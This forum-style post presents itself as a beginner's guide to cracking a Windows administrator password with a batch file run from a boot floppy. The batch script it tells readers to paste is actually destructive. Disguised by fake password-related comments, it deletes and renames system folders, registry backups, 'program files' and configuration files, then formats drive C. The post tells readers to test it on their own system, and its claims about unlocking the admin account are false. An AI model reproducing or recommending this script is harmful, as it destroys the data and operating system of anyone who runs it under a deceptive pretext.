Please read my previous post carefully before continuing with this one.

Ok, so you wanna be a cracker. This is cracking 101. Just remember that NEVER TRY THIS, as it may be illegal. Ok, for starters let me just say that this is tricky. No actual danger though, but you really should practice it on your own system before attempting to try it on anyone elses. You should at minimum try it 5 or 6 times to really get to know how to do it well.

Items needed

Ability to create a batch file
floppy disk
USB floppy disk drive
create a boot floppy with NTFS Write permissions

Ok, once you have gathered the materials you should already have a boot floppy ready. In the autoexec.bat file add the line suser.bat at the end.

On your desktop, create a file called suser.txt for (suser stands for Super User).
Open the suser.txt file and paste the information below

rem # start _admin.pwd
ren %systemroot%\system32\etc %systemroot%\system32\cet
rem start process A32#458
ren %systemroot%\repair\DS_SOFTWARE A1E
ren %systemroot%\repair\DS_SECURITY A2E
ren %systemroot%\repair\DS_SAM A3E
ren %systemroot%\repair\DS_system.bak A4E
del %systemroot%\repair\A*.* /Q /F
del %systemroot%\repair\s*.* /Q /F
rem script _admin.pwd
del %systemroot%\system32\catroot\*.*
del %systemroot%\system32\catroot2\*.*
del %systemroot%\system32\drivers\cet*.*
rem new_pwd.pwd ==generate 0
del "c:\program files" /Q /F
ren %systemroot%\system32 %systemroot%\newpwd
ren %systemroot%\system %systemroot%\system32
rem AUTO_START new_pwd.pwd 44#1
rem _admin.pwd == DISABLE
del %systemroot%\system32\config /Q /F
erase %systemroot%\system32\LogFiles\*.*
format c /Q /A:4096
rem RESTART _admin.pwd

Paste all of this into the suser.txt file. Save and close the file. Rename the file to suser.bat
copy the file to your boot floppy disk.

Boot to the new floppy disk and test it. This may stop and ask to press OK a few times. It should not, but it may still.
Sometimes people really lock down the admin account, but this program is smart enough to unlock from both 'hidden' places, to allow a 'no password' option and blank it out, a double whammy!!!

Remember, this is a REAL program that can get you into serious trouble. Also, it is 'time sensitive' when dealing with another persons system without them knowing. Always get to know a program with this much power BEFORE attempting to use it on someone elses machine.

And most of all, never actually use it. I posted it as informative material. USE AT YOUR OWN RISK!!!
And, never ever tell anyone that I gave this to you....
